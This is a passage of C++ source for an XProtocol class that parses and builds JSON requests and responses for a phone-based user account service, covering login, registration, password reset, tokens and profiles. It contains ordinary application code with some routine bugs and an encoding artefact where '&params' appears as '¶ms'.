XCP_LOGGER_ERROR(&g_logger, "it is invalid req, push ip isn't string, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, sms ip isn't string.";
json_object_put(root);
return -1;
}
svr._ip = json_object_get_string(_ip);
//port
json_object *_port = NULL;
if (!json_object_object_get_ex(_svr_one, "port", &_port))
{
XCP_LOGGER_ERROR(&g_logger, "it is invalid req, no push port, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no push port.";
json_object_put(root);
return -1;
}
if (!json_object_is_type(_port, json_type_int))
{
XCP_LOGGER_ERROR(&g_logger, "it is invalid req, push port isn't int, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, sms port isn't int.";
json_object_put(root);
return -1;
}
svr._port = (unsigned short)json_object_get_int(_port);
vec_svr.push_back(svr);
}
svrs.insert(std::make_pair(ST_SMS, vec_svr));
}
//释放内存
json_object_put(root);
return 0;
}
std::string XProtocol::get_uuid_req(const std::string &msg_tag, std::string &err_info)
{
char msg[MAX_PROTOCOL_BUFF_LEN] = {0};
snprintf(msg, MAX_PROTOCOL_BUFF_LEN, "{\"method\":\"%s\", \"timestamp\":%llu, \"req_id\":0, \"msg_tag\":\"%s\", \"params\":{\"uuid_name\":\"mdp_id\"}}\n",
CMD_GET_UUID.c_str(), getTimestamp(), msg_tag.c_str());
return msg;
}
int XProtocol::get_uuid_rsp(const std::string &req, unsigned long long &uuid, std::string &err_info)
{
err_info = "";
enum json_tokener_error jerr;
json_object *root = json_tokener_parse_verbose(req.c_str(), &jerr);
if(jerr != json_tokener_success)
{
XCP_LOGGER_INFO(&g_logger, "json_tokener_parse_verbose failed, req:%s, err:%s\n",
req.c_str(), json_tokener_error_desc(jerr));
err_info = "it is invlid json req.";
return -1;
}
//result
json_object *_result = NULL;
if(!json_object_object_get_ex(root, "result", &_result))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no result, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no result.";
json_object_put(root);
return -1;
}
//uuid
json_object *_uuid = NULL;
if(!json_object_object_get_ex(_result, "uuid", &_uuid))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no uuid, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no uuid.";
json_object_put(root);
return -1;
}
if(!json_object_is_type(_uuid, json_type_int))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, uuid isn't int, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, uuid isn't int.";
json_object_put(root);
return -1;
}
uuid = (unsigned long long)json_object_get_int64(_uuid);
//释放内存
json_object_put(root);
return 0;
}
int XProtocol::get_rsp_result(const std::string &req, std::string &err_info)
{
err_info = "";
enum json_tokener_error jerr;
json_object *root = json_tokener_parse_verbose(req.c_str(), &jerr);
if(jerr != json_tokener_success)
{
XCP_LOGGER_INFO(&g_logger, "json_tokener_parse_verbose failed, req:%s, err:%s\n",
req.c_str(), json_tokener_error_desc(jerr));
err_info = "it is invlid json req.";
return -1;
}
//code
json_object *_code = NULL;
if(!json_object_object_get_ex(root, "code", &_code))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no code, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no code.";
json_object_put(root);
return -1;
}
int code = json_object_get_int(_code);
//msg
json_object *_msg = NULL;
if(!json_object_object_get_ex(root, "msg", &_msg))
{
err_info = "";
}
else
{
err_info = json_object_get_string(_msg);
}
//释放内存
json_object_put(root);
return code;
}
int XProtocol::get_phone_code_req(const std::string &req, std::string &phone, int &type, std::string &err_info)
{
err_info = "";
enum json_tokener_error jerr;
json_object *root = json_tokener_parse_verbose(req.c_str(), &jerr);
if (jerr != json_tokener_success)
{
XCP_LOGGER_INFO(&g_logger, "json_tokener_parse_verbose failed, req:%s, err:%s\n",
req.c_str(), json_tokener_error_desc(jerr));
err_info = "it is invlid json req.";
return -1;
}
//params
json_object *params = NULL;
if (!json_object_object_get_ex(root, "params", ¶ms))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no params, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no params.";
json_object_put(root);
return -2;
}
//获取手机号码
json_object * phoneObj = NULL;
if (!json_object_object_get_ex(params, "phone", &phoneObj))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no phone, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no id.";
json_object_put(root);
return -3;
}
if (!json_object_is_type(phoneObj, json_type_string))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, phone isn't string, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, phone isn't string.";
json_object_put(root);
return -4;
}
phone = json_object_get_string(phoneObj);
//iot_key
json_object *typeObj = NULL;
if (!json_object_object_get_ex(params, "type", &typeObj))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no type, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no type.";
json_object_put(root);
return -5;
}
if (!json_object_is_type(typeObj, json_type_int))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, iot_key isn't string, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, iot_key isn't string.";
json_object_put(root);
return -6;
}
type = json_object_get_int(typeObj);
//释放内存
json_object_put(root);
return 0;
}
int XProtocol::get_sms_rsp(const std::string &rsp, std::string &err_info)
{
err_info = "";
enum json_tokener_error jerr;
json_object *root = json_tokener_parse_verbose(rsp.c_str(), &jerr);
if (jerr != json_tokener_success)
{
XCP_LOGGER_INFO(&g_logger, "json_tokener_parse_verbose failed, rsp:%s, err:%s\n",
rsp.c_str(), json_tokener_error_desc(jerr));
err_info = "it is invlid json rsp.";
return -1;
}
json_object * resulbObj = NULL;
if (!json_object_object_get_ex(root, "result", &resulbObj))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid sms rsp, no result, rsp:%s\n",rsp.c_str());
err_info = "it is invalid sms rsp, no id.";
json_object_put(root);
return -3;
}
if (!json_object_is_type(resulbObj, json_type_boolean))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid rsp, result isn't bool, rsp:%s\n", rsp.c_str());
err_info = "it is invalid sms rsp,result isn't bool.";
json_object_put(root);
return -4;
}
bool result = json_object_get_boolean(resulbObj);
//释放内存
json_object_put(root);
if (!result)
{
return -5;
}
return 0;
}
int XProtocol::check_phone_code_req(const std::string &req, std::string &phone, std::string &code, int &type, std::string &err_info)
{
err_info = "";
enum json_tokener_error jerr;
json_object *root = json_tokener_parse_verbose(req.c_str(), &jerr);
if (jerr != json_tokener_success)
{
XCP_LOGGER_INFO(&g_logger, "json_tokener_parse_verbose failed, req:%s, err:%s\n",
req.c_str(), json_tokener_error_desc(jerr));
err_info = "it is invlid json req.";
return -1;
}
//params
json_object *params = NULL;
if (!json_object_object_get_ex(root, "params", ¶ms))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no params, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no params.";
json_object_put(root);
return -2;
}
if (get(params, "phone", phone, err_info) != 0)
{
json_object_put(root);
return -3;
}
if (get(params, "type",type, err_info) != 0)
{
json_object_put(root);
return -4;
}
if (get(params, "code", code, err_info) != 0)
{
json_object_put(root);
return -5;
}
//释放内存
json_object_put(root);
return 0;
}
int XProtocol::login_code_req(const std::string &req, std::string &phone, std::string &code, std::string &err_info)
{
err_info = "";
enum json_tokener_error jerr;
json_object *root = json_tokener_parse_verbose(req.c_str(), &jerr);
if (jerr != json_tokener_success)
{
XCP_LOGGER_INFO(&g_logger, "json_tokener_parse_verbose failed, req:%s, err:%s\n",
req.c_str(), json_tokener_error_desc(jerr));
err_info = "it is invlid json req.";
return -1;
}
//params
json_object *params = NULL;
if (!json_object_object_get_ex(root, "params", ¶ms))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no params, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no params.";
json_object_put(root);
return -2;
}
//获取手机号码
json_object * phoneObj = NULL;
if (!json_object_object_get_ex(params, "phone", &phoneObj))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no phone, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no id.";
json_object_put(root);
return -3;
}
if (!json_object_is_type(phoneObj, json_type_string))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, phone isn't string, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, phone isn't string.";
json_object_put(root);
return -4;
}
phone = json_object_get_string(phoneObj);
//获取code
json_object * codeObj = NULL;
if (!json_object_object_get_ex(params, "code", &codeObj))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no code, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no id.";
json_object_put(root);
return -3;
}
if (!json_object_is_type(codeObj, json_type_string))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, code isn't string, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, code isn't string.";
json_object_put(root);
return -4;
}
code = json_object_get_string(codeObj);
//释放内存
json_object_put(root);
return 0;
}
std::string XProtocol::check_phone_code_rsp(const std::string &secret)
{
return "{\"secret\":\""+secret+"\"}";
}
int XProtocol::register_user_req(const std::string &req, std::string &phone, std::string &secret, std::string &pwd, std::string &err_info)
{
err_info = "";
enum json_tokener_error jerr;
json_object *root = json_tokener_parse_verbose(req.c_str(), &jerr);
if (jerr != json_tokener_success)
{
XCP_LOGGER_INFO(&g_logger, "json_tokener_parse_verbose failed, req:%s, err:%s\n",
req.c_str(), json_tokener_error_desc(jerr));
err_info = "it is invlid json req.";
return -1;
}
//params
json_object *params = NULL;
if (!json_object_object_get_ex(root, "params", ¶ms))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no params, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no params.";
json_object_put(root);
return -2;
}
//获取手机号码
json_object * phoneObj = NULL;
if (!json_object_object_get_ex(params, "phone", &phoneObj))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no phone, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no phone.";
json_object_put(root);
return -3;
}
if (!json_object_is_type(phoneObj, json_type_string))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, phone isn't string, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, phone isn't string.";
json_object_put(root);
return -4;
}
phone = json_object_get_string(phoneObj);
if (check_phone(phone, err_info) != 0)
{
return -5;
}
//获取secret
json_object * secretObj = NULL;
if (!json_object_object_get_ex(params, "secret", &secretObj))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no code, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no secret.";
json_object_put(root);
return -3;
}
if (!json_object_is_type(secretObj, json_type_string))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, code isn't string, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, secret isn't string.";
json_object_put(root);
return -4;
}
secret = json_object_get_string(secretObj);
if (check_secret(secret, err_info) != 0)
{
return -5;
}
//获取code
json_object * pwdObj = NULL;
if (!json_object_object_get_ex(params, "pwd", &pwdObj))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no pwd, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no code.";
json_object_put(root);
return -5;
}
if (!json_object_is_type(pwdObj, json_type_string))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, pwd isn't string, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, code isn't string.";
json_object_put(root);
return -6;
}
pwd = json_object_get_string(pwdObj);
if (check_pwd(pwd, err_info) != 0)
{
return -5;
}
//释放内存
json_object_put(root);
return 0;
}
std::string XProtocol::login_code_rsp(const unsigned long long user_id, const std::string &token)
{
char body[MAX_PROTOCOL_BUFF_LEN] = { 0 };
snprintf(body, sizeof(body), "{\"user_id\":%llu,\"token\":\"%s\"}", user_id,token.c_str());
return body;
}
std::string XProtocol::login_pwd_rsp(const unsigned long long user_id, const std::string &token)
{
char body[MAX_PROTOCOL_BUFF_LEN] = { 0 };
snprintf(body, sizeof(body), "{\"user_id\":%llu,\"token\":\"%s\"}", user_id, token.c_str());
return body;
}
int XProtocol::login_pwd_req(const std::string &req, std::string &phone, std::string &pwd, std::string &err_info)
{
err_info = "";
enum json_tokener_error jerr;
json_object *root = json_tokener_parse_verbose(req.c_str(), &jerr);
if (jerr != json_tokener_success)
{
XCP_LOGGER_INFO(&g_logger, "json_tokener_parse_verbose failed, req:%s, err:%s\n",
req.c_str(), json_tokener_error_desc(jerr));
err_info = "it is invlid json req.";
return -1;
}
//params
json_object *params = NULL;
if (!json_object_object_get_ex(root, "params", ¶ms))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no params, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no params.";
json_object_put(root);
return -2;
}
//获取手机号码
json_object * phoneObj = NULL;
if (!json_object_object_get_ex(params, "phone", &phoneObj))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no phone, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no id.";
json_object_put(root);
return -3;
}
if (!json_object_is_type(phoneObj, json_type_string))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, phone isn't string, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, phone isn't string.";
json_object_put(root);
return -4;
}
phone = json_object_get_string(phoneObj);
if (check_phone(phone, err_info) != 0)
{
return -5;
}
//获取pwd
json_object * pwdObj = NULL;
if (!json_object_object_get_ex(params, "pwd", &pwdObj))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no pwd, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no pwd.";
json_object_put(root);
return -5;
}
if (!json_object_is_type(pwdObj, json_type_string))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, pwd isn't string, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, pwd isn't string.";
json_object_put(root);
return -6;
}
pwd = json_object_get_string(pwdObj);
if (check_pwd(pwd, err_info) != 0)
{
return -5;
}
//释放内存
json_object_put(root);
return 0;
}
int XProtocol::auth_req(const std::string &req, unsigned long long &user_id, std::string &token, std::string &err_info)
{
err_info = "";
enum json_tokener_error jerr;
json_object *root = json_tokener_parse_verbose(req.c_str(), &jerr);
if (jerr != json_tokener_success)
{
XCP_LOGGER_INFO(&g_logger, "json_tokener_parse_verbose failed, req:%s, err:%s\n",
req.c_str(), json_tokener_error_desc(jerr));
err_info = "it is invlid json req.";
return -1;
}
//params
json_object *params = NULL;
if (!json_object_object_get_ex(root, "params", ¶ms))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no params, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no params.";
json_object_put(root);
return -2;
}
//user_id
json_object * user_id_obj = NULL;
if (!json_object_object_get_ex(params, "user_id", &user_id_obj))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no user_id, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no user_id.";
json_object_put(root);
return -3;
}
if (!json_object_is_type(user_id_obj, json_type_int))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, phone isn't string, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, phone isn't string.";
json_object_put(root);
return -4;
}
user_id = json_object_get_int64(user_id_obj);
//获取token
json_object * tokenObj = NULL;
if (!json_object_object_get_ex(params, "token", &tokenObj))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no token, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no pwd.";
json_object_put(root);
return -5;
}
if (!json_object_is_type(tokenObj, json_type_string))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, token isn't string, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, token isn't string.";
json_object_put(root);
return -6;
}
token = json_object_get_string(tokenObj);
if (check_token(token, err_info) != 0)
{
return -5;
}
//释放内存
json_object_put(root);
return 0;
}
int XProtocol::reset_pwd_req(const std::string &req, std::string &pwd, std::string &secret, std::string &err_info)
{
err_info = "";
enum json_tokener_error jerr;
json_object *root = json_tokener_parse_verbose(req.c_str(), &jerr);
if (jerr != json_tokener_success)
{
XCP_LOGGER_INFO(&g_logger, "json_tokener_parse_verbose failed, req:%s, err:%s\n",
req.c_str(), json_tokener_error_desc(jerr));
err_info = "it is invlid json req.";
return -1;
}
//params
json_object *params = NULL;
if (!json_object_object_get_ex(root, "params", ¶ms))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no params, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no params.";
json_object_put(root);
return -2;
}
//获取pwd
json_object * pwdObj = NULL;
if (!json_object_object_get_ex(params, "pwd", &pwdObj))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no pwd, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no pwd.";
json_object_put(root);
return -5;
}
if (!json_object_is_type(pwdObj, json_type_string))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, pwd isn't string, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, pwd isn't string.";
json_object_put(root);
return -6;
}
pwd = json_object_get_string(pwdObj);
if (check_pwd(pwd, err_info) != 0)
{
return -5;
}
//获取secret
json_object * secretObj = NULL;
if (!json_object_object_get_ex(params, "secret", &secretObj))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no code, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no id.";
json_object_put(root);
return -3;
}
if (!json_object_is_type(secretObj, json_type_string))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, code isn't string, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, secret isn't string.";
json_object_put(root);
return -4;
}
secret = json_object_get_string(secretObj);
if (check_secret(secret, err_info) !=0)
{
return -5;
}
//释放内存
json_object_put(root);
return 0;
}
int XProtocol::set_pwd_req(const std::string &req, std::string &pwd_old, std::string &pwd_new, std::string &err_info)
{
err_info = "";
enum json_tokener_error jerr;
json_object *root = json_tokener_parse_verbose(req.c_str(), &jerr);
if (jerr != json_tokener_success)
{
XCP_LOGGER_INFO(&g_logger, "json_tokener_parse_verbose failed, req:%s, err:%s\n",
req.c_str(), json_tokener_error_desc(jerr));
err_info = "it is invlid json req.";
return -1;
}
//params
json_object *params = NULL;
if (!json_object_object_get_ex(root, "params", ¶ms))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no params, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no params.";
json_object_put(root);
return -2;
}
if (get(params, "pwd_old", pwd_old, err_info) != 0)
{
json_object_put(root);
return -3;
}
if (get(params, "pwd_new", pwd_new, err_info) != 0)
{
json_object_put(root);
return -4;
}
//释放内存
json_object_put(root);
return 0;
}
std::string XProtocol::reset_pwd_rsp(const std::string &token)
{
char body[MAX_PROTOCOL_BUFF_LEN] = { 0 };
snprintf(body, sizeof(body), "{\"token\":\"%s\"}", token.c_str());
return body;
}
std::string XProtocol::set_pwd_rsp(const std::string &account_token, const std::string &auth_token)
{
char body[MAX_PROTOCOL_BUFF_LEN] = { 0 };
snprintf(body, sizeof(body), "{\"account_token\":\"%s\",\"auth_token\":\"%s\"}", account_token.c_str(),auth_token.c_str());
return body;
}
int XProtocol::get_user_profile_req(const std::string &req, unsigned long long &user_id, std::string &err_info)
{
err_info = "";
enum json_tokener_error jerr;
json_object *root = json_tokener_parse_verbose(req.c_str(), &jerr);
if (jerr != json_tokener_success)
{
XCP_LOGGER_INFO(&g_logger, "json_tokener_parse_verbose failed, req:%s, err:%s\n",
req.c_str(), json_tokener_error_desc(jerr));
err_info = "it is invlid json req.";
return -1;
}
//params
json_object *params = NULL;
if (!json_object_object_get_ex(root, "params", ¶ms))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no params, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no params.";
json_object_put(root);
return -2;
}
//user_id
json_object * user_id_obj = NULL;
if (!json_object_object_get_ex(params, "user_id", &user_id_obj))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no user_id, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no user_id.";
json_object_put(root);
return -3;
}
if (!json_object_is_type(user_id_obj, json_type_int))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, phone isn't string, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, user_id isn't string.";
json_object_put(root);
return -4;
}
user_id = json_object_get_int64(user_id_obj);
if (check_user_id(user_id, err_info) != 0)
{
return -5;
}
//释放内存
json_object_put(root);
return 0;
}
int XProtocol::update_user_profile_req(const std::string &req,std::string &name, std::string &nick, std::string &avatar, std::string &birthday, short &gender, std::string &err_info)
{
err_info = "";
enum json_tokener_error jerr;
json_object *root = json_tokener_parse_verbose(req.c_str(), &jerr);
if (jerr != json_tokener_success)
{
XCP_LOGGER_INFO(&g_logger, "json_tokener_parse_verbose failed, req:%s, err:%s\n",
req.c_str(), json_tokener_error_desc(jerr));
err_info = "it is invlid json req.";
return -1;
}
//params
json_object *params = NULL;
if (!json_object_object_get_ex(root, "params", ¶ms))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no params, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no params.";
json_object_put(root);
return -2;
}
get(params, "name", name,err_info);
if (!name.empty())
{
if (check_user_name(name, err_info) != 0)
{
name = "";
}
}
get(params, "nick", nick, err_info);
if (!nick.empty())
{
if (check_nick_name(nick, err_info) != 0)
{
nick = "";
}
}
get(params, "avatar", avatar, err_info);
if (!avatar.empty())
{
if (check_avatar(avatar, err_info) != 0)
{
avatar = "";
}
}
get(params, "birthday", birthday, err_info);
if (!birthday.empty())
{
if (check_birthday(birthday, err_info) != 0)
{
birthday = "";
}
}
int _gender = -1;
get(params, "gender", _gender, err_info);
if (_gender != -1)
{
if (check_gender(_gender, err_info) == 0)
{
gender = _gender;
}
}
err_info = "success";
//释放内存
json_object_put(root);
return 0;
}
std::string XProtocol::auth_rsp(const unsigned long long &user_id, const std::string &token)
{
char body[MAX_PROTOCOL_BUFF_LEN] = { 0 };
snprintf(body, sizeof(body), "{\"user_id\":%llu,\"token\":\"%s\"}", user_id,token.c_str());
return body;
}
std::string XProtocol::get_user_profile_rsp(const unsigned long long user_id, const UserAttr &user_attr)
{
char body[MAX_PROTOCOL_BUFF_LEN] = { 0 };
snprintf(body, sizeof(body), "{\"user_id\":%llu,\"phone\":\"%s\",\"name\":\"%s\",\"nick\":\"%s\",\"gender\":%d,\"avatar\":\"%s\",\"birthday\":\"%s\",\"last_login_time\":%llu,\"last_family_id\":%llu}",
user_id, user_attr.phone.c_str(),user_attr.name.c_str(),user_attr.nick.c_str(),user_attr.gender,user_attr.avatar.c_str(),user_attr.birthday.c_str(),user_attr.last_login_time,user_attr.last_family_id);
return body;
}
//数据校验
int XProtocol::check_user_name(const std::string &name, std::string &err_info)
{
if (name.length() < 4 || name.length() > 32)
{
err_info = "the length of name is not correct";
return -1;
}
return 0;
}
int XProtocol::check_nick_name(const std::string &nick, std::string &err_info)
{
if (nick.length() < 4 || nick.length() > 32)
{
err_info = "the length of nick is not correct";
return -1;
}
return 0;
}
int XProtocol::check_pwd(const std::string &pwd, std::string &err_info)
{
if (pwd.length() < 6 || pwd.length() > 32)
{
err_info = "the length of password is not correct";
return -1;
}
if (pwd.find("\"") != std::string::npos || pwd.find("\'") != std::string::npos || pwd.find(";") != std::string::npos)
{
err_info = "password are not allowed to contain special characters";
return -2;
}
return 0;
}
int XProtocol::check_secret(const std::string &secret, std::string &err_info)
{
if (secret.length() != 32)
{
err_info = "the length of secret is not correct";
return -1;
}
return 0;
}
int XProtocol::check_token(const std::string &token, std::string &err_info)
{
if (token.length() < 32 || token.length() > 512)
{
err_info = "the length of token is not correct";
return -1;
}
return 0;
}
int XProtocol::check_phone_code(const std::string &code, std::string &err_info)
{
if (code.length() < 4 || code.length() > 8)
{
err_info = "the length of code is not correct";
return -1;
}
return 0;
}
int XProtocol::check_phone(const std::string &phone, std::string &err_info)
{
if (phone.length() < 11 || phone.length() > 14)
{
err_info = "the length of phone is not correct";
return -1;
}
return 0;
}
int XProtocol::check_user_id(const unsigned long long &user_id, std::string &err_info)
{
if (user_id <= 0)
{
err_info = "the user_id is not correct";
}
return 0;
}
int XProtocol::check_avatar(const std::string &avatar, std::string &err_info)
{
if (avatar.length() < 8 || avatar.length() > 128)
{
err_info = "the length of avatar is not correct";
return -1;
}
return 0;
}
int XProtocol::check_birthday(const std::string &birthday, std::string &err_info)
{
if (birthday.length() < 8 || birthday.length() > 16)
{
err_info = "the length of birthday is not correct";
return -1;
}
return 0;
}
int XProtocol::check_gender(const int gender, std::string &err_info)
{
if (gender != 0 && gender != 1)
{
err_info = "the value of gender is not correct";
return -1;
}
return 0;
}
int XProtocol::decode_token(const std::string &token, TokenInfo &token_attr, std::string &err_info)
{
err_info = "";
enum json_tokener_error jerr;
json_object *root = json_tokener_parse_verbose(token.c_str(), &jerr);
if (jerr != json_tokener_success)
{
XCP_LOGGER_INFO(&g_logger, "json_tokener_parse_verbose failed, token:%s, err:%s\n",
token.c_str(), json_tokener_error_desc(jerr));
err_info = "it is invalid token.";
return -1;
}
if (get(root, "user_id", token_attr.user_id, err_info) != 0)
{
err_info = "token not include user_id";
json_object_put(root);
return -2;
}
if (get(root, "phone", token_attr.phone, err_info) != 0)
{
err_info = "token not include phone";
json_object_put(root);
return -3;
}
if (get(root, "create_time", token_attr.create_time, err_info) != 0)
{
err_info = "token not include create_time";
json_object_put(root);
return -3;
}
if (get(root, "expire_time", token_attr.expire_time, err_info) != 0)
{
err_info = "token not include expire_time";
json_object_put(root);
return -4;
}
if (get(root, "from", token_attr.from, err_info) != 0)
{
err_info = "token not include from";
json_object_put(root);
return -5;
}
get(root, "salt", token_attr.salt, err_info);
get(root, "password", token_attr.pwd, err_info);
if (get(root, "nonce", token_attr.nonce, err_info) != 0)
{
err_info = "token not include nonce";
json_object_put(root);
return -6;
}
int type = 0;
if (get(root, "token_type", type, err_info) != 0)
{
err_info = "token not include token_type";
json_object_put(root);
return -7;
}
if (type <= TokenTypeBegin || type >= TokenTypeEnd)
{
err_info = "token not include token_type";
json_object_put(root);
return -8;
}
token_attr.token_type = (TokenType)type;
if (get(root, "sig", token_attr.sig, err_info) != 0)
{
err_info = "token not error token_type";
json_object_put(root);
return -9;
}
json_object_put(root);
return 0;
}
int XProtocol::get(const json_object *root, const std::string &name, std::string &value, std::string &err_info) {
//method
json_object *_obj = NULL;
if (!json_object_object_get_ex(root, name.c_str(), &_obj))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no %s\n", name.c_str());
err_info = "it is invalid req, no " + name;
return -1;
}
if (!json_object_is_type(_obj, json_type_string))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, %s isn't string\n", name.c_str());
err_info = "it is invalid req, " + name + " isn't string.";
return -1;
}
value = json_object_get_string(_obj);
return 0;
}
int XProtocol::get(const json_object *root, const std::string &name, unsigned long long &value, std::string &err_info) {
//method
json_object *_obj = NULL;
if (!json_object_object_get_ex(root, name.c_str(), &_obj))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no %s\n", name.c_str());
err_info = "it is invalid req, no " + name;
return -1;
}
if (!json_object_is_type(_obj, json_type_int))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, %s isn't string\n", name.c_str());
err_info = "it is invalid req, " + name + " isn't string.";
return -2;
}
value = (unsigned long long)json_object_get_int64(_obj);
return 0;
}
int XProtocol::get(const json_object *root, const std::string &name, unsigned int &value, std::string &err_info) {
//method
json_object *_obj = NULL;
if (!json_object_object_get_ex(root, name.c_str(), &_obj))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no %s\n", name.c_str());
err_info = "it is invalid req, no " + name;
return -1;
}
if (!json_object_is_type(_obj, json_type_int))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, %s isn't string\n", name.c_str());
err_info = "it is invalid req, " + name + " isn't string.";
return -1;
}
value = (unsigned int)json_object_get_int(_obj);
return 0;
}
int XProtocol::get(const json_object *root, const std::string &name, int &value, std::string &err_info) {
//method
json_object *_obj = NULL;
if (!json_object_object_get_ex(root, name.c_str(), &_obj))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no %s\n", name.c_str());
err_info = "it is invalid req, no " + name;
return -1;
}
if (!json_object_is_type(_obj, json_type_int))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, %s isn't string\n", name.c_str());
err_info = "it is invalid req, " + name + " isn't string.";
return -1;
}
value = (int)json_object_get_int(_obj);
return 0;
}
std::string XProtocol::push_msg_login_req(const std::string &msg_tag,const unsigned long long &user_id)
{
char msg[MAX_PROTOCOL_BUFF_LEN] = { 0 };
snprintf(msg, MAX_PROTOCOL_BUFF_LEN, "{\"method\":\"%s\", \"timestamp\":%llu, \"req_id\":0, \"msg_tag\":\"%s\", \"params\":{\"method\":\"%s\",\"status\":\"online\",\"user_id\":%llu}}\n",
CMD_PUSH_MSG.c_str(), getTimestamp(), msg_tag.c_str(), CMD_SYN_CLIENT_STATUS.c_str(),user_id);
return msg;
}
int XProtocol::push_msg_login_rsp(const std::string &rsp, int code, std::string &err_info)
{
err_info = "";
enum json_tokener_error jerr;
json_object *root = json_tokener_parse_verbose(rsp.c_str(), &jerr);
if (jerr != json_tokener_success)
{
XCP_LOGGER_ERROR(&g_logger, "json_tokener_parse_verbose failed, rsp:%s, err:%s\n",
rsp.c_str(), json_tokener_error_desc(jerr));
err_info = "it is invlid json rsp.";
return -1;
